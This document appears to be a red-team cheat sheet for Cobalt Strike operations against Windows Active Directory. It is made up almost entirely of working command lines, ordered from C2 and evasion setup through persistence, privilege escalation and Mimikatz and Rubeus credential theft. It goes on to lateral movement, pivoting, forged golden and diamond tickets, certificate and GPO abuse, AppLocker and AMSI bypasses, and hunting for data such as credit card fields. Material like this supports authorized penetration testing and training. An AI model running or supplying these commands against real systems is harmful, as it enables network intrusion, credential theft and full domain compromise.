// 01

C2 Setup & Infrastructure

Artifact Kit Build

Bash
# Artifact Kit Build
./build.sh pipe VirtualAlloc 310272 5 false false none /path/to/artifacts

# Resource Kit Build
./build.sh /path/to/resources

# Mimikatz Kit Build
./build.sh /path/to/mimikatz

AK-Settings (Spawn Process Config)

Cobalt Strike
ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
ak-settings spawnto_x86 C:\Windows\SysWOW64\dllhost.exe

Malleable C2 Profile

Malleable C2
# Stage block
stage {
   set userwx "false";
   set module_x64 "Hydrogen.dll";
   set copy_pe_header "false";
}

# Post-ex block
post-ex {
  set amsi_disable "true";
  set spawnto_x64 "%windir%\\sysnative\\svchost.exe";
  set obfuscate "true";
  set cleanup "true";
}

# Process-inject block
process-inject {
  execute {
      NtQueueApcThread-s;
      NtQueueApcThread;
      SetThreadContext;
      RtlCreateUserThread;
      CreateThread;
  }
}

Verify Artifact & Named Pipe

CMD
# Verify artifact with ThreatCheck
C:\Tools\ThreatCheck\ThreatCheck.exe -f C:\path\to\artifact64svcbig.exe

# Named pipe (artifact kit)
sprintf(pipename, "%c%c%c%c%c%c%c%c%crasta\\mouse", 92, 92, 46, 92, 112, 105, 112, 101, 92);
// 02

Post-Exploitation

Session Passing & File Operations

Cobalt Strike
# Session passing
spawn x64 <LISTENER>

# File operations
cd C:\Users\<USER>\Desktop
ls
download <FILE>
downloads

# Process listing
ps

Keylogger & Screenshots

Cobalt Strike
# Keylogger
keylogger
jobs
jobkill <JOB_ID>

# Screenshots
printscreen
screenshot
screenwatch

Command Execution

Cobalt Strike
# Command execution
shell whoami
run hostname
powershell <COMMAND>
powerpick <COMMAND>

# PowerShell import
powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

# .NET Assembly execution
execute-assembly C:\Tools\Seatbelt\Seatbelt.exe -group=system

# Beacon Object File (BOF)
inline-execute C:\Tools\BOFs\ipconfig.o
// 03

Host Persistence

Registry Run Key

PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "<NAME>" -Value "<PAYLOAD_PATH>"

Startup Folder

CMD
copy <PAYLOAD> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

Scheduled Task

CMD
schtasks /create /tn "<TASK_NAME>" /tr "<PAYLOAD_PATH>" /sc onlogon /ru "<USER>"

COM Hijacking

CMD
# COM Hijacking (Teams example)
reg add "HKCU\Software\Classes\CLSID\{<CLSID>}\InprocServer32" /v "" /d "<DLL_PATH>" /f
reg add "HKCU\Software\Classes\CLSID\{<CLSID>}\InprocServer32" /v "ThreadingModel" /d "Both" /f

Timestomping

Cobalt Strike
timestomp <TARGET_FILE> <REFERENCE_FILE>
// 04

Privilege Escalation

Check Current Integrity

Cobalt Strike
powershell [Security.Principal.WindowsIdentity]::GetCurrent().Groups | ? {$_.Value -eq "S-1-16-12288"}

Service Enumeration & Abuse

Cobalt Strike
# Service enumeration
run sc query
run sc qc <SERVICE_NAME>

# Unquoted service path exploitation
# Upload beacon to unquoted path location
upload C:\Payloads\beacon.exe

# Weak service permissions
.\accesschk64.exe -uwcqv "<USER>" *
run sc config <SERVICE> binPath= "<PAYLOAD_PATH>"
run sc stop <SERVICE>
run sc start <SERVICE>

UAC Bypass

Cobalt Strike
# UAC Bypass
elevate uac-schtasks <LISTENER>

# Connect to local TCP beacon
connect localhost <PORT>
// 05

Elevated Persistence

Scheduled Task as SYSTEM

CMD
schtasks /create /tn "<TASK_NAME>" /tr "<PAYLOAD_PATH>" /sc onstart /ru SYSTEM

Windows Service Persistence

CMD
sc create <SERVICE_NAME> binPath= "<PAYLOAD_PATH>" start= auto
sc start <SERVICE_NAME>
// 06

Credential Theft

Mimikatz via Cobalt Strike

Cobalt Strike
# Mimikatz - combine commands with ";"
mimikatz token::elevate ; lsadump::sam

# Logon passwords (NTLM hashes)
mimikatz !sekurlsa::logonpasswords

# Kerberos encryption keys
mimikatz !sekurlsa::ekeys

# SAM database dump
mimikatz !lsadump::sam

# Cached domain credentials
mimikatz !lsadump::cache

# DCSync (requires Domain Admin or replication rights)
dcsync <DOMAIN> <DOMAIN>\krbtgt

Rubeus - Ticket Operations

Cobalt Strike
# Rubeus - Triage tickets
execute-assembly C:\Tools\Rubeus\Rubeus.exe triage

# Rubeus - Dump specific ticket
execute-assembly C:\Tools\Rubeus\Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap

# Kerberoasting
execute-assembly C:\Tools\Rubeus\Rubeus.exe kerberoast /user:<SERVICE_USER> /nowrap

# AS-REP Roasting
execute-assembly C:\Tools\Rubeus\Rubeus.exe asreproast /user:<USER> /nowrap

Browser & Vault Credentials

Cobalt Strike
# SharpChrome - Browser credentials
execute-assembly C:\Tools\SharpChrome\SharpChrome.exe logins

# SharpDPAPI - Credential Manager
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI.exe credentials /rpc

# Seatbelt - Vault enumeration
execute-assembly C:\Tools\Seatbelt\Seatbelt.exe WindowsVault
// 07

User Impersonation

Pass the Hash & Make Token

Cobalt Strike
# Pass the Hash
pth <DOMAIN>\<USER> <NTLM_HASH>

# Make Token (plaintext password)
make_token <DOMAIN>\<USER> <PASSWORD>

Overpass the Hash & Pass the Ticket

Cobalt Strike
# Overpass the Hash (request TGT)
execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /aes256:<AES256_HASH> /nowrap /opsec

# Pass the Ticket
execute-assembly C:\Tools\Rubeus\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TICKET>

Token Manipulation

Cobalt Strike
# Steal Token from process
steal_token <PID>

# Revert to original token
rev2self

# Token Store (Cobalt 4.8+)
token-store steal <PID>
token-store use <TOKEN_ID>
token-store show

# Verify impersonation
run klist
ls \\<TARGET>.<DOMAIN>\c$
// 08

Domain Reconnaissance

PowerView

Cobalt Strike
powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
powerpick Get-Domain
powerpick Get-DomainController | select Forest, Name, OSVersion | fl
powerpick Get-DomainUser -Identity <USER> -Properties DisplayName, MemberOf | fl
powerpick Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName
powerpick Get-DomainOU -Properties Name | sort -Property Name
powerpick Get-DomainGroup | where Name -like "*Admins*" | select Name
powerpick Get-DomainGroupMember -Identity "<GROUP>" | select MemberName
powerpick Get-DomainGPO -Properties DisplayName | sort -Property DisplayName
powerpick Get-DomainTrust

SharpView & ADSearch

Cobalt Strike
# SharpView
execute-assembly C:\Tools\SharpView\SharpView.exe Get-DomainUser -Identity <USER>

# ADSearch (LDAP queries)
execute-assembly C:\Tools\ADSearch\ADSearch.exe --search "objectCategory=user"
execute-assembly C:\Tools\ADSearch\ADSearch.exe --search "(&(objectCategory=group)(cn=*admins*))" --attributes cn,member
execute-assembly C:\Tools\ADSearch\ADSearch.exe --search "(objectCategory=trustedDomain)" --attributes distinguishedName,name,flatName,trustDirection

ACL Enumeration & BOFHound

Cobalt Strike
# ACL enumeration
powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "<SID_PATTERN>" }

# BOFHound (BloodHound integration)
inline-execute C:\Tools\BOFs\bofhound.o
// 09

Lateral Movement

WinRM & PsExec

Cobalt Strike
# WinRM
jump winrm64 <TARGET>.<DOMAIN> <LISTENER>

# PsExec
jump psexec64 <TARGET>.<DOMAIN> <LISTENER>

WMI & Remote PowerShell

Cobalt Strike
# WMI
remote-exec wmi <TARGET>.<DOMAIN> <COMMAND>

# Remote PowerShell command
remote-exec winrm <TARGET> <COMMAND>

DCOM

Cobalt Strike
powershell-import C:\Tools\Invoke-DCOM.ps1
powerpick Invoke-DCOM -ComputerName <TARGET>.<DOMAIN> -Method MMC20.Application -Listener <LISTENER>
// 10

Session Passing

Spawn & SpawnAs

Cobalt Strike
# Spawn new beacon (same or different listener)
spawn x64 <LISTENER>
spawn x86 <LISTENER>

# Spawn as different user
spawnas <DOMAIN>\<USER> <PASSWORD> <LISTENER>

Foreign Listener & Injection

Cobalt Strike
# Foreign Listener (Meterpreter)
# Create Foreign HTTP/HTTPS listener in Cobalt Strike
# Then: shspawn x64 <FOREIGN_LISTENER>

# Inject into process
inject <PID> x64 <LISTENER>
shinject <PID> x64 C:\Payloads\payload.bin
// 11

Pivoting

SOCKS Proxy

Cobalt Strike
socks 1080
socks 1080 socks5 disableNoAuth <USER> <PASSWORD> enableLogging

Proxychains & Linux Tools

Linux
# Proxychains config (/etc/proxychains.conf)
# socks4 127.0.0.1 1080
# socks5 127.0.0.1 1080

# Linux tools through proxy
proxychains nmap -n -Pn -sT -p <PORTS> <TARGET_IP>
proxychains wmiexec.py <DOMAIN>/<USER>@<TARGET_IP>

Reverse Port Forward & PortBender

Cobalt Strike
# Reverse Port Forward
rportfwd <BIND_PORT> <FORWARD_HOST> <FORWARD_PORT>

# PortBender (redirect traffic)
PortBender redirect <SOURCE_PORT> <DEST_PORT>

# Firewall rule for port forward
netsh advfirewall firewall add rule name="<RULE_NAME>" dir=in action=allow protocol=TCP localport=<PORT>

Kerberos Through Proxy

Linux
proxychains python3 /usr/local/bin/getTGT.py <DOMAIN>/<USER> -dc-ip <DC_IP>
export KRB5CCNAME=/path/to/ticket.ccache
// 12

Kerberos Attacks

Kerberoasting & AS-REP Roasting

Cobalt Strike
# Kerberoasting
execute-assembly C:\Tools\Rubeus\Rubeus.exe kerberoast /user:<SERVICE_USER> /nowrap

# AS-REP Roasting
execute-assembly C:\Tools\Rubeus\Rubeus.exe asreproast /user:<USER> /nowrap

Unconstrained Delegation

Cobalt Strike
# Unconstrained Delegation - Monitor for TGTs
execute-assembly C:\Tools\Rubeus\Rubeus.exe monitor /interval:10 /nowrap

Constrained Delegation - S4U

Cobalt Strike
# Constrained Delegation - S4U
execute-assembly C:\Tools\Rubeus\Rubeus.exe s4u /impersonateuser:<TARGET_USER> /msdsspn:cifs/<TARGET>.<DOMAIN> /user:<SERVICE_USER> /ticket:<BASE64_TICKET> /nowrap

# Alternative Service Name
execute-assembly C:\Tools\Rubeus\Rubeus.exe s4u /impersonateuser:<TARGET_USER> /msdsspn:cifs/<TARGET>.<DOMAIN> /altservice:ldap /user:<SERVICE_USER> /ticket:<BASE64_TICKET> /nowrap

Resource-Based Constrained Delegation (RBCD)

Cobalt Strike
# RBCD - Set msDS-AllowedToActOnBehalfOfOtherIdentity
powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<MACHINE_SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "<TARGET>" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

# RBCD - Perform S4U
execute-assembly C:\Tools\Rubeus\Rubeus.exe s4u /user:<MACHINE>$ /impersonateuser:<TARGET_USER> /msdsspn:cifs/<TARGET>.<DOMAIN> /ticket:<BASE64_TICKET> /nowrap
// 13

AD CS - Certificate Abuse

Enumerate Certificate Authorities

Cobalt Strike
# Find Certificate Authorities
execute-assembly C:\Tools\Certify\Certify.exe cas

# Find vulnerable templates
execute-assembly C:\Tools\Certify\Certify.exe find /vulnerable

Request Certificate with Alternative Name

Cobalt Strike
execute-assembly C:\Tools\Certify\Certify.exe request /ca:<CA_NAME> /template:<TEMPLATE> /altname:<TARGET_USER>

NTLM Relay to ADCS & Printer Bug

Linux / Cobalt Strike
# NTLM Relay to ADCS HTTP endpoint
proxychains ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>

# Trigger printer bug
execute-assembly C:\Tools\SharpSpoolTrigger\SharpSpoolTrigger.exe <TARGET> <LISTENER_HOST>

Forge Certificates with Stolen CA Key

CMD
ForgeCert.exe --CaCertPath <CA_CERT> --CaCertPassword <PASSWORD> --Subject "CN=<USER>" --SubjectAltName "<USER>@<DOMAIN>" --NewCertPath <OUTPUT> --NewCertPassword <PASSWORD>
// 14

GPO Abuse

Find Modifiable GPOs

Cobalt Strike
powerpick Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "<SID>" }

Find Affected OUs/Computers

Cobalt Strike
powerpick Get-DomainOU -GPLink "{<GPO_ID>}" | select distinguishedName
powerpick (Get-DomainOU -GPLink "{<GPO_ID>}").distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name

SharpGPOAbuse & GPO Linking

Cobalt Strike / PowerShell
# SharpGPOAbuse - Add startup script
execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse.exe --AddComputerScript --ScriptName "<SCRIPT>" --ScriptContents "<COMMAND>" --GPOName "<GPO_NAME>"

# Create and Link new GPO
New-GPO -Name "<GPO_NAME>" | New-GPLink -Target "<OU_DN>"
// 15

DPAPI

Find Credential Files

Cobalt Strike
ls C:\Users\<USER>\AppData\Local\Microsoft\Credentials\
ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\

Mimikatz DPAPI

Cobalt Strike
mimikatz dpapi::cred /in:C:\path\to\credential_file

Credential Manager & SharpDPAPI

Cobalt Strike
# Credential Manager vaults
vaultcmd /listcreds:"Windows Credentials" /all
execute-assembly C:\Tools\Seatbelt\Seatbelt.exe WindowsVault

# SharpDPAPI
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI.exe credentials /rpc
// 16

MSSQL Servers

Enumerate SQL Instances

Cobalt Strike
powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

SQL Impersonation & Command Execution

Cobalt Strike
# SQL Impersonation
# EXECUTE AS LOGIN = 'sa'
execute-assembly C:\Tools\SQLRecon\SQLRecon.exe /instance:<SQL_SERVER> /command:impersonate

# Enable xp_cmdshell
execute-assembly C:\Tools\SQLRecon\SQLRecon.exe /instance:<SQL_SERVER> /command:enablexp

# Execute OS commands
execute-assembly C:\Tools\SQLRecon\SQLRecon.exe /instance:<SQL_SERVER> /command:xp /argument:"whoami"

Linked Server Abuse

SQL
# SQL Linked Server enumeration
SELECT srvname, isremote FROM master..sysservers

# Query through linked server
SELECT * FROM OPENQUERY("<LINKED_SERVER>", 'SELECT * FROM information_schema.tables')

# Enable xp_cmdshell on linked server
EXEC('sp_configure ''show advanced options'', 1; RECONFIGURE') AT [<LINKED_SERVER>]
EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT [<LINKED_SERVER>]

SweetPotato Privilege Escalation

Cobalt Strike
# SweetPotato privilege escalation (SeImpersonatePrivilege)
execute-assembly C:\Tools\SweetPotato\SweetPotato.exe -p C:\Windows\Tasks\beacon.exe
// 17

SCCM

SCCM Enumeration

Cobalt Strike
execute-assembly C:\Tools\SharpSCCM\SharpSCCM.exe local site-info
execute-assembly C:\Tools\SharpSCCM\SharpSCCM.exe get collections
execute-assembly C:\Tools\SharpSCCM\SharpSCCM.exe get collection-members -n "<COLLECTION>"
execute-assembly C:\Tools\SharpSCCM\SharpSCCM.exe get devices -n "<DEVICE>"

Extract Network Access Account Credentials

Cobalt Strike
execute-assembly C:\Tools\SharpSCCM\SharpSCCM.exe local naa
// 18

Domain Dominance

DCSync

Cobalt Strike
dcsync <DOMAIN> <DOMAIN>\krbtgt
mimikatz @lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

Golden Ticket

Cobalt Strike
# Golden Ticket
execute-assembly C:\Tools\Rubeus\Rubeus.exe golden /aes256:<AES256_HASH> /user:<USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap

# Import Golden Ticket
execute-assembly C:\Tools\Rubeus\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TICKET>
steal_token <PID>

Silver Ticket

Cobalt Strike
execute-assembly C:\Tools\Rubeus\Rubeus.exe silver /service:cifs/<TARGET>.<DOMAIN> /aes256:<AES256_HASH> /user:<USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap

Diamond Ticket

Cobalt Strike
execute-assembly C:\Tools\Rubeus\Rubeus.exe diamond /tgtdeleg /ticketuser:<USER> /ticketuserid:<RID> /groups:512 /krbkey:<AES256_HASH> /nowrap

Forge Certificate & DPAPI Backup Key

CMD / Cobalt Strike
# Forge Certificate
ForgeCert.exe --CaCertPath <CA_CERT> --CaCertPassword <PASSWORD> --Subject "CN=<USER>" --SubjectAltName "<USER>@<DOMAIN>" --NewCertPath <OUTPUT> --NewCertPassword <PASSWORD>

# DPAPI Domain Backup Key
mimikatz !lsadump::backupkeys /system:<DC>.<DOMAIN> /export
// 19

Forest & Domain Trusts

Enumerate Trusts

Cobalt Strike
powerpick Get-DomainTrust
execute-assembly C:\Tools\ADSearch\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain <DOMAIN> --attributes distinguishedName,name,flatName,trustDirection

Parent-Child Trust Escalation (SID History)

Cobalt Strike
# Get child krbtgt hash via DCSync
dcsync <CHILD_DOMAIN> <CHILD_DOMAIN>\krbtgt

# Get Enterprise Admins SID
powerpick Get-DomainGroup -Identity "Enterprise Admins" -Domain <PARENT_DOMAIN> -Properties ObjectSid

# Forge golden ticket with SID History
execute-assembly C:\Tools\Rubeus\Rubeus.exe golden /aes256:<AES256_HASH> /user:<USER> /domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<ENTERPRISE_ADMINS_SID> /nowrap

Inbound One-Way Trust

Cobalt Strike
powerpick Get-DomainForeignGroupMember -Domain <EXTERNAL_DOMAIN>
powerpick ConvertFrom-SID <SID>
execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /aes256:<AES256_HASH> /nowrap
execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgs /service:krbtgt/<EXTERNAL_DOMAIN> /domain:<DOMAIN> /dc:<DC>.<DOMAIN> /ticket:<BASE64_TICKET> /nowrap
execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgs /service:cifs/<TARGET>.<EXTERNAL_DOMAIN> /domain:<EXTERNAL_DOMAIN> /dc:<DC>.<EXTERNAL_DOMAIN> /ticket:<BASE64_TICKET> /nowrap

Outbound One-Way Trust (TDO)

Cobalt Strike
powerpick Get-DomainObject -Identity "CN=<TRUST_NAME>,CN=System,DC=<DOMAIN_DC>" | select objectGuid
mimikatz @lsadump::dcsync /domain:<DOMAIN> /guid:{<GUID>}
execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:<TRUST_ACCOUNT>$ /domain:<EXTERNAL_DOMAIN> /rc4:<NTLM_HASH> /nowrap
// 20

LAPS

Identify LAPS GPOs

Cobalt Strike
powerpick Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath

Find LAPS-Enabled Computers

Cobalt Strike
powerpick Get-DomainComputer -SearchBase "<OU_DN>" -Properties cn

Read LAPS Password & Expiration

Cobalt Strike
# Read LAPS password
powerpick Get-DomainComputer -Identity <COMPUTER> -Properties ms-Mcs-AdmPwd

# Check password expiration
powerpick Get-DomainComputer -Identity <COMPUTER> -Properties ms-Mcs-AdmPwdExpirationTime
// 21

Defence Evasion & AppLocker

Bypass ConstrainedLanguage Mode

Cobalt Strike
powershell $ExecutionContext.SessionState.LanguageMode
# If ConstrainedLanguage, use:
powerpick $ExecutionContext.SessionState.LanguageMode
# Returns: FullLanguage

Enumerate AppLocker & Writable Directories

Cobalt Strike
# Enumerate AppLocker policies
powershell Get-ChildItem "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2"

# Find writable directories
powershell Get-Acl C:\Windows\Tasks | fl

MSBuild AppLocker Bypass

CMD
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe .\payload.csproj

Artifact Kit & Resource Kit Evasion

C / Concept
# Artifact Kit - Modify XOR loop
# Change for loop to while loop for evasion
x = length;
while(x--) {
  *((char *)buffer + x) = *((char *)buffer + x) ^ key[x % 8];
}

# Resource Kit - Modify template
# Rename functions and obfuscate PowerShell template
# Change XOR key value in decode loop

# AMSI Bypass - Obfuscate PowerShell
# Modify variable names and function names in templates
// 22

Data Hunting & Exfiltration

Find Accessible Shares

Cobalt Strike
powerpick Find-DomainShare -CheckShareAccess

Find Interesting Files

Cobalt Strike
powerpick Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

SQL Data Extraction

Cobalt Strike
# Query SQL databases through linked servers
powerpick Get-SQLQuery -Instance "<SQL_SERVER>,1433" -Query "select * from openquery(""<LINKED_SERVER>"", 'select * from information_schema.tables')"

# Extract data from SQL
powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize